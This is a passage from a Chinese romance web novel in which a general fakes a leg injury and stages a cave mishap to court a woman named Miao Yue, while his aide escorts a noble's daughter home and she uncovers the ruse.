苗悦来了精神:“是那个,不过衡州的更甜些。等我们出去……”她顿住,忽然意识到这话有些越界,转而道,“将军可以试试,挺好吃的。” 燕钊道:“你很会吃。” 苗悦小小的自豪了一下。 “来衡州的路上,风餐露宿是常事。有时路过村子,帮人家劈柴担水,扎下篱笆,换来灶台用,就能喝点热汤,再把冷饼烤得热乎酥软。运气好的话,还能蹭点锅底油,贴在饼子上,借着热气一焖,那油渗进饼里……” 她咂了咂嘴,似乎颇是怀念。 燕钊道:“就为了一口热饼,值得么?” “值啊。经过自己的手,烘得热热的酥酥的再吃下去,”她眉眼弯起,仿佛闻到了热饼的香气,温柔又满足,“胃里心里是暖的,那一刻会觉得特别幸福。” 她的笑暖融融的,有一种对生活的确信。 燕钊静静地看着,目光直直地落在她含笑的眉眼上,完全忘了周遭的黑暗与寒冷,也忘了该有的分寸。 火把的光乱跳着,映在石壁上,投下两人的影子,时而交叠时而分离。 苗悦起初还在笑,说着热饼的香气。 可燕钊的目光太直接太安静,毫不避讳。 她的笑声慢慢低下去,最后抿住了唇,耳根却热了起来,染上薄红。 她垂下眼帘,清了清嗓子,提醒对方。 燕钊这才回过神,倏地别开脸,喉结滚动,把那瞬间的失神咽了下去。 “听你这么一说,倒叫我有些馋了。”他开口,“等出去了,不知有没有口福,尝尝你的手艺。” 苗悦微微一怔,抬眼看他,片刻后低下头,慢慢咬着手里的饼。 “那都是没办法时的穷讲究,说到底是粗食,将军尝过就会失望的。自从搬进衡州城,能自己开火做饭,我就再没那样凑合过了。” 说了这么多,还是委婉地拒绝了。 燕钊倒没坚持,顺着她的话问:“一个人都做些什么吃?” 苗悦道:“看时令,也看心情。比如春天可以腌点脆笋,夏天煮点绿豆汤,秋冬就炖些暖和的。” 燕钊问:“在衡州,住得惯么?” 苗悦回答得很实在:“衡州城繁华,东西齐全,人也和善,主要是不打仗。比四处漂泊的日子,好多了。” “在城里做些什么?”燕钊接着问。 苗悦含糊地说:“找点零工,照看人什么的。” 她答得谨慎,既是保护自己,也在两人间划下一道界限。 燕钊听懂了她的保留,没再追问,半晌,又开口:“衡州不比别处,若是孤身一人,遇事多有不便。可有相熟的亲友,或是能为你作保的人?” 苗悦眼帘微垂,隔了一会儿说:“有啊,珠珠就是,她待我很好。” 燕钊只“嗯”了一声,没说话。 苗悦飞快地瞥了他一眼。 他的目光落在不知名的远处,侧脸显得有些冷硬,看不出情绪。 苗悦收回目光:“此地寒凉,我们还是尽快离开吧。” 燕钊点了点头,扶着石壁站起身。 他看向正低头整理衣服的苗悦,忽然开口:“有件事,还没问你。” 苗悦动作一顿,抬起头。 燕钊沉默着,火光在他眼中跳跃,神情是难得的认真。 “你叫什么名字?” 记忆的碎片翻涌而至。 她欠了他很多次回答。 而此刻,在现实中,他又一次问了。 苗悦的心脏重重一跳,酸涩混着轻松,还有丝丝欢喜漫上心头。 她缓缓开口:“我叫苗悦。” 燕钊紧攥的拳头骤然松开,唇角轻弯,眼中亮起光,那光,比火把还亮。 苗悦也笑了:“禾苗的苗,喜悦的悦。” 这一次,终于可以告诉你了。 第94章 左边的洞被堵住, 二人只能走另一个洞口。 苗悦试着探了探湿滑的岩壁,寻了处粗糙的石面,手指扣住, 脚下蹬踏,腰腹发力, 利落地攀了上去。 她稳住重心, 转身, 伏在洞口边缘, 向下伸手。 燕钊默契地将火把递上。苗悦接过, 再次向燕钊伸出手, 准备拉他。 不等她的手完全伸出, 燕钊已有了动作。 他看准位置,双手在岩石凸起上借力,单脚一点, 整个人便跃了上来。 苗悦诧异地看着他。 她知道燕钊忍耐力超群, 但没想到他这么能忍, 方才那一下,换成自己, 必要疼得叫出声来。 燕钊取下火把:“走吧。” 苗悦皱眉看看他的腿,终究没说什么。 这两条洞道并非天然形成, 是当年矿工们为了追索矿脉,一锤一凿开出来的通道。 洞口起初狭窄,仅容一人弯腰通过。 走上约莫一炷香的功夫,通道变宽,也高了不少,终于能直起身来。 四周开始出现人工痕迹。 岩壁上每隔一段距离,便有一处向内凿出的小小平台, 用来放置油灯火把。 角落里还能看到锈迹斑斑的铁镐,以及散了架的木头矿车。 苗悦边走边仔细查看,很快发现了一些尚有用途的东西。 蒙了厚灰的麻布雨披,边沿破损骨架完好的斗笠,高筒的油布靴,生锈但结实的柴刀,只剩半边的葫芦水瓢,一小捆未受潮的火折子。 苗悦将能用的东西归拢到一处,发现它们大多只是蒙尘,并未朽坏。 尤其是那雨披和油布靴,看起来虽脏,但绝不像被遗弃了十年八年的样子。 “怪了,”她拿起雨披,对着火光仔细看,“料子厚实,针脚细密,还有这桐油……看着都还挺好,怎么就不要了,真浪费。” 燕钊猜测这些东西都是杜言的安排。 他只扫了一眼,道:“许是走得匆忙,顾不上拿。” 苗悦将雨披叠好,有些惋惜:“可惜咱们掉下来时没捡到,这天看着像要下雨的,也不知珠珠他们赶上了没有。” 洞外,周牧背着孙兰初在山道上疾行。 天色已黑透,闷雷滚滚,随时要下雨的样子。 他盘算着尽量别在山里过夜,路他熟,离上面不算太远。 他不敢耽搁,只想尽快回去,心里着急,脚下就快,也顾不上背上的人。 走着走着,他觉得脖颈后头一热,似乎有温热的水滴落下来。 起初他没在意,以为掉雨点了,可那温热的感 觉接二连三,持续不断,渐渐洇湿了他后颈一小片衣领。 然后,他听见背后人压抑的细细的抽泣声。 周牧心里咯噔一下,脚步不由得慢了下来,侧过头问:“怎么了?我走得太快,颠着你了?” 孙兰初其实是害怕了,周围太黑了,背着她的又是个陌生男人,但她不敢说出来。 他背着一个人都能走这么快,比自己跑起来还快,他要是动了坏心思,自己哪里打得过。 孙兰初吸了吸鼻子:“我想苗姐姐了……她还在洞里,好可怜……” 周牧一愣:“又不是她一个人,还有我们将军在……” “快别提你们将军了。”孙兰初提高声音,气道,“他什么都不会,还要靠苗姐姐照顾,一点用都没有。那么矮的地方,他腿还能摔断。” 周牧张了张嘴,发现自己无法反驳,只得紧紧抿住唇,不吭声了。 孙兰初用衣袖擦了擦眼泪。 周牧只觉得脖子后面湿漉漉一片,忍不住暗想,大家都是人,她的眼泪从哪来的这么多。 他闷头加快脚步,好在翻过眼前这个小山头,就到了。 山头那边,有不少火光晃动,影影绰绰能看到许多人影。 还有人拿着绳索等在崖边。 见他们出现,崖边的人立刻七手八脚将两人拉了上去。 脚一沾地,周牧片刻不敢停,背着孙兰初来到孙佑安面前,小心地将人放下。 孙兰初一落地,脚一软,差点没站稳,“哇”一声哭出来,扑进孙佑安怀里。 孙佑安搂住女儿,上下打量,连声道:“回来就好,回来就好。我儿受苦了,可吓死爹爹了……” 周牧退到一旁,默默吁了口气,抹了把额头的汗,用手蹭了蹭后脖颈。 杜言上前,对孙佑安道:“孙小姐此番受惊了,孙公还是尽快带小姐回府,好生安歇。明日我让太医过府,仔细为小姐瞧瞧。” 孙佑安连连点头:“好好好,有劳杜先生安排,如此甚好。” 杜言朝周牧招了招手:“周牧,你过来。” 周牧依言上前,对孙佑安行礼。 杜言介绍道:“孙公,这位是周牧,周校尉,是我们将军从战场上带回身边教养的,人最是忠义勇武,很得将军信重。将军说过,明年要亲自为他行冠礼。” 孙佑安闻言,脸上露出恍然之色,不由侧过头,将周牧从头到脚细细打量了一番。 只见这年轻人身姿挺拔,一股利落的精气神,此刻虽垂眸敛目,但站姿沉稳,不卑不亢,明年及冠,年纪又合适。 孙佑安看着看着,露出笑意,连连点头,对杜言拱手道:“少年英才,少年英才。多谢杜先生,多谢多谢。” 杜言捻须而笑,对周牧道:“周校尉,今夜你也辛苦了。就由你亲自护送孙小姐回府,务必将人安全送到。之后你也早些歇息,不必再回此处了。” 周牧心里老大不情愿,但也无法违逆,只得抱拳应道:“末将领命。” 孙府的马车就停在一丈多远。 孙兰初又累又饿,脚还疼,这会儿早没了男女大防的扭捏,很自然地伸手扶住周牧小臂,借力登上马车。 铺了软垫的车厢内,两盏油灯挂在壁上,光线明亮。 周牧扶她坐稳,正欲抽身退下。 孙兰初转过身,想要探头唤她爹爹,这一扭头,就看到了周牧扶着车辕的手。 油灯的光清晰照亮了他虎口处那排新鲜的牙印。 孙兰初眼睛猛地瞪圆了,一把抓住周牧的手腕,指着那牙印,声音拔高:“好啊!原来是你……” 周牧吓了一跳,立刻抬头四顾,见杜言和孙佑安还在说话。 他心中大急,也顾不得许多,左手捂住孙兰初的嘴,右手一带,两人一同跌进车厢里。 孙兰初被他捂住嘴按在地板上,又惊又怒,手脚并用地挣扎,发出含糊的“呜呜”声。 周牧单膝压着她乱踢的腿,一手捂着她的嘴,另一只手竖在唇边,连连“嘘”声,急急道:“别喊!我的小姑奶奶,你别喊!” 杜言和孙佑安都听到了动静,一起看过来,只见车厢微晃,里面似乎有些拉扯。 杜言反应极快,立刻笑着对孙佑安道:“周牧这孩子,人是再正直不过的,行事有分寸,从不乱来,是将军手下最靠得住的人。” 孙佑安闻言,也转回头来,仿佛没看见马车那边的动静一般,笑道:“是极是极。小女那性子,寻常人也管不住。周校尉今夜一路背着小女上山,实在是辛苦了。改日,定要请周校尉过府,好好谢谢他才是。” 杜言笑着拱手:“好说,好说。孙公满意就好,其它都好说。” 孙佑安笑得眼睛眯成一条缝,连连点头:“满意,满意。” 车厢内,周牧见外边没动静,提着的心稍稍放下一点。 他低头,正对上孙兰初瞪得溜圆水光潋滟的眼睛,心一慌,捂着人嘴的力道就松了。 孙兰初伸出手指,几乎戳到周牧鼻尖,顶得他连连往后退。 孙兰初就势坐起,质问:“那陷阱是你们故意弄的,对不对?你们到底在打什么主意?说!” 周牧摇头:“我不能说。” 孙兰初深吸一口气,张大嘴就要喊:“爹——” “别喊!”周牧捂住她的嘴,急道,“我说行了吧。” 孙兰初立刻收声,扒拉掉他的手,紧盯着他。 周牧谨慎地看了眼车外,才道:“但这事关乎我们将军名声……”他反应过来,又忙补一句,“也关乎你苗姐姐名声,所以不能告诉别人。” 孙兰初哼了一声,算是勉强同意。 周牧这才凑近些,极快地说了几句。 孙兰初眼睛瞪得溜圆,脸上的怒气渐渐转为恍然,而后变得嫌弃。 她拧着眉头,不屑道:“你家将军既然喜欢苗姐姐,就该正正经经请媒人上门提亲呀,搞这么一出把戏,男人真无聊。” 她撇撇嘴,下了结论:“我看他不行,配不上我苗姐姐。” 周牧不乐意了:“我家将军统御万军,英明神武,怎么就配不上了。” 孙兰初下巴一抬,嘲道:“这么英明神武,用得着把腿摔断?” 周牧噎住。 孙兰初补刀:“再说,他一天到晚拉着脸,说话又难听。我苗姐姐这么好,就该配我表哥那样温文尔雅玉树临风的君子。” 周牧从鼻子里哼出一声:“你表哥算哪号人物。我听都没听过。” “你听没听过重要吗。”孙兰初学着他的样子哼回去,“反正我表哥从不骗人,更不会装瘸子。” 矿洞内。 一道不算窄的裂隙挡在两人面前。 苗悦看眼燕钊的伤腿,正要说话,就见燕钊单脚点地,纵身跃了过去。 他转身,向苗悦伸出手。 苗悦迟疑了一下,握住他的手,借力跨了过去。 她看向燕钊,毫不掩饰自己的关心和敬佩,真诚夸赞:“你这腿伤成这样,还能这么敏捷。方才这一跳,我看着都觉着疼。将军真是能忍常人所不能忍。” 燕钊的手僵了一下,若无其事地转身,提着火把,吐出两个字: “过奖。” 第95章 得 两人又走了一段不短的路, 中间未作停歇,终于出了矿洞。 矿道尽头,是一个七八米宽的天然洞厅, 正对面就是洞口。洞口开阔,空气比之前流通不少。 苗悦举着火把来到外面, 山底寒风立刻吹透了她。 已是彻底的黑夜, 浓云遮天, 不见星月, 难以判断时辰, 也辨不清具体方位。 考虑到燕钊的腿伤, 他们只能在此过夜了。 苗悦转身回到洞厅, 观察环境。 岩壁上凿出了几个凹龛,苗悦走近一看,发现里面竟还残留着不少凝固的黑色油脂, 油脂中心甚至插着未燃尽的灯芯。 运气不错, 苗悦心想。 她用火把凑近一个灯芯, 那灯芯“噗”地一下被引燃,腾起一小簇火光。 她又接连点燃了另外两个油脂灯, 洞厅内顿时明亮了不少,也驱散了几分阴冷潮气。 洞厅里, 到处是堆成小堆的干草,一角散乱堆放着破旧的木箱和麻袋,还有不成形的长凳。 中间稍偏的位置有个用石块垒砌的灶坑,旁边扔着几个瓦罐和陶碗。 这里是矿工们进洞前聚集歇脚,简单炊煮的地方。 苗悦将火把熄灭,开始动手整理。 她把散落在各处的干草收集起来,聚拢到灶坑不远处干燥平坦的避风角落, 铺开后的面积,勉强够两个人紧挨着躺下休息。 她又将那几个麻袋抖了抖,铺在干草上,权当隔潮的垫褥。 燕钊走到木箱和长凳边,仔细看了看,拆下几块木板,又用残存的麻绳,将木板和凳腿组合固定,弄出了两个能坐人的矮墩。 他提着这两个矮墩,放到灶坑边,清理掉灶坑里的碎石,将没用的碎木条和木块扔进去,用干草引火。 很快,橘红色的火光跳跃起来。 洞外炸开一声惊雷,巨响在山谷间回荡。 苗悦吓一跳,转头就见燕钊坐在灶坑旁,正用麻绳缠紧接口。 他的侧脸被火光映得明暗分明,手指稳定有力。 苗悦恍惚地想起她第一次进入燕钊记忆时,在隐太子庙,三岁的燕钊忙来忙去的样子。 还有他十岁那年,也是这样,一声不吭地蹲在地上,将新买的木板木条组装成能用的桌椅…… 燕钊抬头,看过来,问:“你笑什么?” 苗悦回神,惊觉自己嘴角不知何时竟微微弯着。 她有些赧然,含糊道:“没什么,就是觉得像野外探险一样,挺好玩的。” 又是一阵闷雷滚过,淅淅沥沥的雨声响起,很快连成一片,密集而响亮。 雨水从洞口上方汇集而下,形成一道天然的水帘。 苗悦挑了个最完整的瓦罐,借着水帘将里外冲洗干净,又接了大半罐雨水,架到灶坑上。 再选出两个陶碗,依样洗净,放灶坑边,自己则在另一个矮墩上坐下。 两人隔着跳跃的火焰,围着简陋的灶坑。 洞外是哗哗的雨声,洞内是柴火的噼啪声,和逐渐升腾的水汽。 铺着干草和麻袋的“床”,粗糙但能坐的“凳子”,架在火上烧着水的瓦罐,以及岩壁上那几盏油脂灯。 燕钊的目光缓缓扫过这一切,最后落在苗悦被雨水打湿的额发上。 奇异的平静感漫上他心头。 这感觉并不陌生,在很多个零散破碎的记忆缝隙里,都有过类似的,家的感觉。 苗悦拿起一根木棍拨火,火星噼啪着向上蹿。 她随口道:“咱们还挺幸运的,该有的东西都能捡到。” 燕钊抿唇,这“幸运”本不该出现。 “辛苦了。”他说。 苗悦抬眼看他,笑着回了句:“这有什么呀。有火,有热水,有干草铺,风吹不着雨淋不着。关键还不花钱,简直是神仙洞府了。” 她自然流露出的快乐,让燕钊有些羡慕。 他问:“你应该有很多朋友,很受人喜欢吧?” 苗悦想了想,摇头:“还真没有。” 她的职业,注定独来独往才安全。 燕钊疑惑道:“以你的性子,身边若无人陪伴,不会觉得孤单么?” 苗悦琢磨了一下:“也还好。大概是我比较容易接受现状吧。我总觉得人生在世,能遇到一段不错的关系,亲情,爱情,友情,只要有人能说上几句真心话,已经是幸事了,珍惜那段时光就好。” 她扯了扯嘴角:“也可能是这世道不行吧,太多人,说没就没了,只能想开点。缘分这东西,有来就有去,有聚就有散,非要强求长长久久,最后苦的,不还是自己吗。” 燕钊没说话。 其实记忆世界里,她也说过“缘聚缘散都是寻常”,可能她真是这么想的,所以她从不纠结是否要与他相认。 苗悦察觉气氛有些沉了,便扬起一个笑:“将军你呢?在那么大个将军府里,身边那么多人陪着,一定很热闹吧。” 燕钊的目光转到她脸上,平静道:“其实我以前不知道什么叫孤单。我娘脑子不好,她清醒时,待我不错,可她一受刺激,就会不认得我。我多数时候都在照顾她。她死时,我有更大的麻烦要解决,没空为她难过。我性子闷,不喜欢与人交流,从来都是一个人,没觉得有什么不好。” 他顿了顿,又道:“如今我身边确实有很多人。杜先生是良师益友,周牧他们是忠心部属,军中更有无数过命的兄弟,我们彼此信任,可托生死。我曾以为,这就是家人了。入主衡州,局势渐稳,他们陆续成婚,我才明白,家人和家人,是不一样的。” 苗悦想到了阿芦。 阿芦当然算她的家人,但他快十四岁了,开始打工赚钱,再过几年,他会有自己的生活。 到那时,她就真的一个人了。 一个人也没什么。 她看了眼燕钊。 燕钊接到她的目光,笑道:“我以前不知孤单为何物,因为那是我的常态。后来我认识了一个人,和她在一起,心里有个地方,忽然就满了。我想知道她今天做了什么,吃了什么,高不高兴。她离开后,将军府还是那么大,什么都不缺,可就是显得空。” 苗悦呼吸微窒。 那个人是谁?是记忆里的她吗?她不敢深想,更不敢自作多情。 “将军还年轻,以后定能遇到长久陪伴您的人。” “你遇到了吗?”燕钊问。 苗悦自嘲一笑,道:“我从长安到衡州走了整整五年,才刚解决温饱。” 燕钊又问:“但你年纪也不小了,不着急吗?” 简直讨打。 这身体不过二十一二岁,明明还年轻得很。 苗悦瞪了他一眼,怼道:“将军年纪比我大多了。” 燕钊笑起来,往灶坑里添了根碎木,倾身向前,朝她伸手。 他没说话。苗悦也没问,手一抬,将木棍递过来。 燕钊接过,慢慢拨着火。 火光映着他的侧脸,明暗不定。 他盯着那火,状似随意:“你觉得缘分是靠遇的?” 苗悦愣了一下,道:“那肯定啊,缘分缘分,可遇不可求嘛。” “就不能是自己去争去求的么?” 苗悦想了想:“好像也不是不行,若真全靠老天爷扔缘分,庙里那些求姻缘拜和合的,不都成了白费功夫。可见人心里,也是觉得这事多少能求一求,争一争的。” “你说的很对。”燕钊点点头,“所以一个人努力争取他自己认定的缘分,甚至用上兵书上的法子,也是可以理解的。” 苗悦蹙眉。 兵书上的法子?用到感情上? 别说,她自己不就常用美人计吗。 她斟酌着道:“理解是能理解,但前提是不能伤害对方,否则就不叫缘分了,就是孽缘了。” 燕钊看她一眼。 孽缘,孽缘也是缘啊。 他都可以。 燕钊停下拨火的动作:“不伤害对方的界限,如何把握。若那人起初并不在意你,你非要争取,在她看来,或许已是打扰了。” “不一样的。”苗悦道,“‘争取’是要让对方看见你的好,选择权始终在对方手里。‘打扰’是罔顾对方意愿,强行介入。就好像有人送你一束花,你可以收下,也可以拒绝。但那人硬把花塞你怀里,还不许你扔,那便是冒犯了。” 燕钊问:“那我怎么知道,对方是真心不想收花,还是顾虑其它。” 苗悦想了想:“关键大概在于,你是‘想得到’,还是‘想对对方好’。前者盯的是那个人,容易执迷,后者关心的是对方快不快乐,这才是真的珍惜。” 燕钊没再说话。 他垂着眼,火焰在他深黑的眸子里静静燃烧。他手里的木棍停住了,虚虚地搭在膝盖上,一动不动。 柴火舔舐着 罐底,不多时,罐口便冒出丝丝白汽。 水翻滚起来,发出咕嘟咕嘟的声响。 苗悦拿起那葫芦瓢,跑到洞口就着雨水稍做清洗。 再回来,舀一点热水,倒入陶碗,递给燕钊,再给自己倒一碗,移到唇边,一边捂手一边吹着气。 “将军,现在这位置,离上面大概有多深?” 燕钊道:“腿脚利索的话,攀上去,半天也够了。” 苗悦瞥了眼他的伤腿:“看来,只能等你的属下来接了。” 燕钊点点头:“雨停了,他们应该就能找过来。” 他暗暗摸了一下腰间,贴身的油布小囊里放着信号烟。 上面的人,多半要等到他的信号才会下来接人。 喝了热水,身体暖了,疲惫便翻涌上来。 苗悦打了个哈欠。 她眨眨眼:“是不是得留个人守夜?” 燕钊应了一声:“上半夜我来,下半夜你来。” 苗悦实在困得厉害,点点头:“那你一定要叫醒我。” “好。”燕钊答应得很干脆。 苗悦走到干草床边,裹紧了雨披,侧身躺下。 干草窸窣响了一阵,很快便没了动静,只剩下均匀轻缓的呼吸声。 燕钊坐在原处,又等了好一会儿,才将腿上绑的木条摘下来。 他站起身,来回走了几步,活动四肢,目光落在蜷缩着的身影上。 苗悦睡着了,脸朝着他这边,白日里的机敏和锋利都褪去了,格外安静。 火堆噼啪作响,燕钊就这么看着,看了很久。 苗悦不笨,相反,她心细,观察力也强。 时间一长,他行动间再如何注意,也必然露出破绽。 燕钊几乎能想象出她发现自己被设局时可能会有的反应,惊愕,愤怒,还有失望。 眼下这点因共患难而生出的亲近,恐怕会荡然无存。 何时放出信号,让他们下来接人,成了一个需要准确判断的事。 放晚了,被她看穿的风险增加。 放早了,他又舍不得。 夜渐深,寒意从洞口从岩石缝隙渗透进来。柴火添了几次,但湿冷的空气依旧无孔不入。 苗悦的身子缩得更紧了,无意识地将雨披紧紧裹在身上,可那麻布雨披本就不保暖,她的眉头微微蹙着,睡得并不安稳。 燕钊看着她瑟缩的模样,心里那点因不舍而生犹豫便消散开了。 这里条件确实太差了,即使杜言提前做了准备,也只能解决最基本的温饱。 她受得苦已经够多了,不应该再为他的私心在这里挨冻受罪。 他坐回矮墩上,一根一根地将木条重新缠回去。 明天吧,明天天一亮,他就放出信号烟。 第96章 燕钊站起身, 又扔了几根木头进去,看着火焰重新旺起来,然后拄着拐走到干草席旁, 挨着她,坐了下来。 人的体温, 在这样阴冷的环境中, 是骗不了人的。 睡梦中的苗悦感觉到热源, 本能地靠近, 直到后背紧挨着他腿侧。 她似乎终于找到了一个更舒服的位置, 不再动了, 呼吸也重新变得均匀。 燕钊垂眸, 看着她。 她睡得很沉,毫无防备。 燕钊调整了一下坐姿,将背靠在了石壁上。 他要想一想, 回城后如何与她更多往来。 或许他可以借着感谢她在洞中照顾的名义, 约她出来。 这理由很不错, 合情合理。 就是太慢了,太温吞了, 这样下去,不知要多久才能重新拥有她。 想到这, 他不免有点烦躁。 只觉得这“重新认识”的招式,效率有些低,简直是在浪费时间。 他伸出手,轻轻将她颊边一缕散发,拨到耳后。 苗悦似乎感觉到这份触碰,无意识地蹭了蹭他的腿,唇角弯起, 坠入了更深的睡眠。 她好像躺在一间房里,炭盆散着热,暖烘烘的,将屋外的雨雪隔离。 身下铺着厚实的软垫,还有带着阳光气息的棉褥。 她枕着燕钊的腿,结实,安稳。 燕钊背着光,低垂着脸,看不真切面容。 他看着她,眼神如此专注,有种近乎珍视的温柔。 他的手指,轻轻拂过她的额发,顺着她的脸颊,慢慢地摩挲着。 那触感无比真实,带着薄茧的粗粝,却又无比轻柔,痒痒的,一直痒到她心里去。 她抬起手,小心翼翼地摸上他的脸颊。 他的皮肤温热,新生的胡茬有些扎手。 她笑了起来,不安分地顺着他的面颊滑到颈后,勾上他的脖子,微微用力,将人拉向自己。 燕钊顺从地低下头。 越来越近,近到能感觉到彼此的呼吸。 苗悦闭上眼。他的唇,落在了她的唇上。 很轻,很软,带着炭火的温度和干净的气息。 不知是谁先动了。 或许是她的唇瓣微微开启,又或许是他的手臂收得更紧。 那轻柔的触碰,渐渐变成了更深的贴合,摩挲着,辗转着,释放着难以言说的渴望和慰藉。 谁也不愿先分开,仿佛已经等了太久,舍不得结束。 许久许久后,绵长的厮磨,最终化为满足叹息的相拥。 苗悦的手臂环上他的腰身,侧过脸,将发烫的面颊埋进他怀里,隔着衣衫感受他胸膛的温度。 燕钊一下又一下抚过她的长发。 苗悦觉得舒服极了,好像所有的疲惫不安,都被这怀抱和抚触熨帖平整了。 她一动也不想动,连眼皮都抬不起来。 她迷迷糊糊地想着,真好啊,就这样一直睡着吧,不要醒。 洞内寂静,火光不知何时暗了下去,只剩一堆暗红的炭,和一两根将尽的柴。 “啪”地一声脆响炸开,最后一根柴崩裂,溅出几点火星。 那清脆的声响穿透脑海,苗悦猛地一颤,睁开了眼。 “火要灭了。” 燕钊的声音从头上方传来。 一句话将苗悦拉回现实。 她发现自己真的枕在燕钊腿上,脸颊紧贴着他衣袍,一只胳膊,甚至环在他的腰间。 苗悦蹭地坐了起来,震惊,迷茫,不知所措。 指尖残留的触感,与梦中唇上的温热柔软,让她对现实产生刹那的混淆。 她下意识抚上自己的唇,又慌忙放下。 她不敢看燕钊,将视线转向洞口。 洞外朦朦胧胧,雨不知何时停了。 “什么时辰了?” “大概是卯时。”燕钊道。 “你怎么不叫醒我?”苗悦找回自己的声音,有些干涩,“说好了下半夜我守夜的。” “叫了。”燕钊道,“没叫醒。看你睡得太沉。” 苗悦语塞。 她睡得有那么死? 她飞快地瞥了一眼燕钊,又立刻移开目光,看向自己枕过的位置。 到底是不是梦啊?她脸颊发热。 “你怎么坐过来了。” 燕钊道:“夜里太冷了,这个位置没有风,能暖和点。而且我的腿一直屈着,不太舒服,所以挪过来坐。是不是唐突你了。” 不,好像是我唐突你了。 苗悦抿唇,想问她怎么会枕到他腿上去,可张了张嘴,问不出来。 燕钊“嘶”了一声,眉心微蹙,伸手去摸伤腿。 苗悦立刻忘了自己的问题,着急道:“怎么了?是不是被我碰到了?” 燕钊道:“有点麻,昨夜我已经查看过,伤得不算太严重,有些肿。” 苗悦收回手,一时不知说什么,站起身:“我去看看火。” 燕钊看着她有些仓惶的脚步,笑意终究没能忍住,从他眼底和唇角悄然漾开。 苗悦背对着他,将几根木头添进火堆,弯腰猛吹,火苗重新旺起来。 她偷偷回头瞥了一眼。 燕钊靠坐在石壁边,闭上了眼。 没有了那道存在感极强的注视,苗悦觉得周围的空气都松快了不少,悄悄舒了口气。 可心却没能静下来。 那个梦到底是不是真的? 如果是真的,燕钊为什么不推开她? 所以,肯定不是真的。 她又悄悄回头。 男人俊朗 的脸有些倦色,眉宇间那份惯常的锐利敛去了,显出不设防的安静。 如果没有离魂香,如果他们初见是在现实世界中,就如眼下这般,那他们两人,是不是也有那么一丝可能…… 苗悦甩甩头,把这个荒谬的念头抛开。 燕钊并没有真的睡沉。他只是闭着眼,用耳朵听着身旁的动静。 她起身的窸窣声,走向火堆的脚步声,拨弄柴火的轻响,还有瓦罐被挪动的声音。 苗悦蹲在火堆旁,将瓦罐接满水架到火上。 水烧开后,她掰碎糙面饼,扔进水里。 天还是阴的,看不到太阳,雨还未下透,空气里满是湿漉漉的泥土味。 待这饭煮好,燕钊也醒了,他撑着手臂,想站起来,刚挪动“伤腿”,眉头就皱了起来。 苗悦见状,放下手里的东西,快步走过去扶他。 燕钊也不客气,揽住她的肩膀,倚靠过去,借着她的支撑,站了起来。 他站稳后,手臂却没有立刻松开,就势往灶坑那走。 苗悦直把他扶到矮墩旁,又搀着他坐好,这才重得自由。 她盛了碗糊糊递给他。 “雨停了,将军,您的人是不是快到了?” 燕钊低头喝粥:“雨是停了,但山道经了雨水,定然湿滑泥泞,崖壁也易有松脱。他们要从上面下来寻人,需得仔细探查路径,急不来。我们眼下还算安全,不必着急。” 苗悦叹道:“总这么干等着也不是办法。” 她看向洞口:“会不会地形变了,他们找不到这里了,我看那树都好高……” 燕钊淡笑,抬头看她。 许是喝了热粥的缘故,她白皙的脸颊透出淡淡的红晕。嘴唇也是莹润嫣红,带着水光。 她随意地将散落的发丝拨到耳后,露出一段细腻优美的颈线。 燕钊的视线在那截脖颈上停留了一瞬。 他很清楚自己手指的力道,知道如何轻易地掌控那里。 他喉结微动,眸色深暗。 苗悦专心思考着:“我们也不能一直就这么等着吧。要不我去洞口转转,看看有没有高处适合弄点烟出来,让他们更容易发现这里……能找点吃的也行,万一他们今天还不来,饼就不够了……” 她还在继续说,唇瓣一张一合,积极谋划着。 燕钊看着她开开合合的唇,心里那点念头盘踞不去,来回翻涌。 想抱……想亲…… 就抱……就亲……又不是没有过,她能怎么样,还能推开自己不成? “将军,你说呢?” 燕钊一个激灵回过神,清了清嗓子,也不知道她说了什么,只应道:“你说的对。” 苗悦点点头。 燕钊捧着碗,让心绪平静下来。 过了一会儿,他问:“等出去了,你有什么打算?” 苗悦道:“老样子,过日子呗。” 燕钊没看苗悦,像在自言自语:“之前听人提起,城南有家铺子,做的梅干菜肉末烤饼,很有名气。” 苗悦抬眼。 燕钊依旧看着粥:“说是外酥里润,滋味很好。我路过几次,倒没尝过。” 他顿了顿,终于转过脸,对苗悦道:“你既说那梅干菜烤饼别有滋味,不如有空了,一起去尝尝?” 苗悦像是没听清,愣愣地看了他好一会儿。 “你……”她终于开口,“是在……约我吗?” 燕钊握碗的手紧了紧,面上神色未动:“你在此处照料我,我理当表示感谢。” 苗悦眼神逐渐变冷:“感谢有很多种方式,将军可以让属下送银钱给我。” 燕钊沉默了一下,道:“我以为你会喜欢。” 苗悦垂下头:“我更喜欢钱。” 这个反应出乎燕钊预料,他皱眉,迅速调整:“无妨。银钱上自然也不会少了你的。” 苗悦长长地吁出一口气,拼命压抑着质问的冲动。 她两辈子加起来活了二十九年了,岂会看不出燕钊邀约时的语气神态,分明是男人对女人感兴趣想靠近的试探。 可正是看出来了,她才更觉得无名火直往上撞。 他们才离开记忆世界多久?一个月?两个月? 她心口还堵着巨石,梦里还残留着他的温度。他却能如此轻易地将目光投向新人。 苗悦知道自己不该沉溺虚妄,可那毕竟是她亲身体验过的人生,她需要时间慢慢消化。 但他不需要。 一口气堵在胸口,上不去,下不来。 苗悦站起身,动作有些突兀,胡乱抓了两把干草,转身朝洞口走去。 她怕自己再呆下去,会忍不住和他吵起来。 “你去哪?”燕钊跟着起身,沉声问。 苗悦冷声回应:“去放点烟,让他们知道我们的位置。” 燕钊眉头皱紧:“我同你一起。” 他迈步欲追,却被腿上的木条绊了一下,动作微滞。 这片刻功夫,苗悦已经消失在洞口拐弯处。 燕钊追到洞口,只看见她远去的背影。 这下他确定了,她确实在不高兴。可他不明白是为什么。 他脸色沉了下来,抬脚对着山壁狠狠一踹,绑腿的木条应声崩开。 他三下两下将那些碍事的木头扯开,扔垃圾般甩到一旁。 什么重新认识,什么迂回试探,兜兜转转,疏离客套。 简直荒谬,他燕钊做事,何需这般拖泥带水。 记忆世界里的情感炽烈而直接,早已养刁了他的意趣,那般焚心蚀骨都经历过,如今对着同一个人,却要装模作样地从头开始。 把她找回来,圈在这方寸之地,面对面,问个清清楚楚。 问题解决了,再上去也不迟。 解决不了……那就解决到能上去为止。 第97章 苗悦出了山洞, 没有停步,沿着一条被山水冲出的浅沟,向上走了一段。 她没有走太远, 便在一处稍微开阔点的大石头旁停了下来。 背靠着冰冷潮湿的岩石,她攥紧了拳, 指甲陷入掌心, 用那点细微的刺痛让自己更清醒些。 深吸雨后清凉的空气, 那股莫名委屈的情绪, 终于不再烧得她头脑发晕了。 她反复告诫自己。这里是现实, 她和燕钊, 